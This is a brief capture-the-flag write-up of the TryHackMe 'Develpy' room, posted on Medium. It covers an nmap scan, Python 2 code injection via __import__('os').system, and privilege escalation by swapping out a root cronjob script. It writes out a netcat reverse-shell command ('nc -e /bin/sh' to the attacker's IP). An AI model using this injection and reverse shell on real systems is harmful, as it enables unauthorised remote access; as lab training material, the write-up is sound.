TryHackMe: Develpy

Today we will take a look at TryHackMe: Develpy. My goal in sharing this writeup is to show you the way if you are in trouble. Please try to understand each step and take notes.

Scan:

  • Network scan

Command: nmap -A IP

Enumeration

This means that python could not define a variable or module “ls”: Therefore, we did not specify a variable or module called “ls”. This is a vulnerability in python2 that allows you to execute code on the machine via python.

Exploitation of weakness

Command: __import__(‘os’).system(‘id’)

Command: __import__(‘os’).system(‘nc -e /bin/sh 10.8.223.65 4242’)

Privilege Escalation

As we look at the .sh files inside, we guess it’s cronjob. When we check, we see that the root.sh file is in our folder. Therefore, we can easily change the location and put our code in its place.

And now we are the root

“If you have any questions or comments, please do not hesitate to write. Have a good days”

--

--

--

Hello, my name is Elman. I am from Azerbaijan. I wish you a good days

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Microsoft Orleans — Code Generation issue?

How to add Google Analytics to your android app? : Step by step guide

Setting up Mysql server for remote connection on linux

Hacking ‘Docker’, the Shodan way!

Public Tezos SignalR(WebSocket) Endpoint Available on TezosLive.io

Setting Golang Plugin on VSCode for Autocomplete and Auto-import

Laravel 5.7 — Check Laravel 5.7 Stunning Features

Packaging 93K Levels

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Al1z4deh:~# echo "Welcome"

Al1z4deh:~# echo "Welcome"

Hello, my name is Elman. I am from Azerbaijan. I wish you a good days

More from Medium

Pickle Rick TryHackMe

TryHackMe: UltraTech

TryHackMe — Linux Fundamentals — Part 1 a Walkthrough

TryHackMe: Attacktive Directory Walkthrough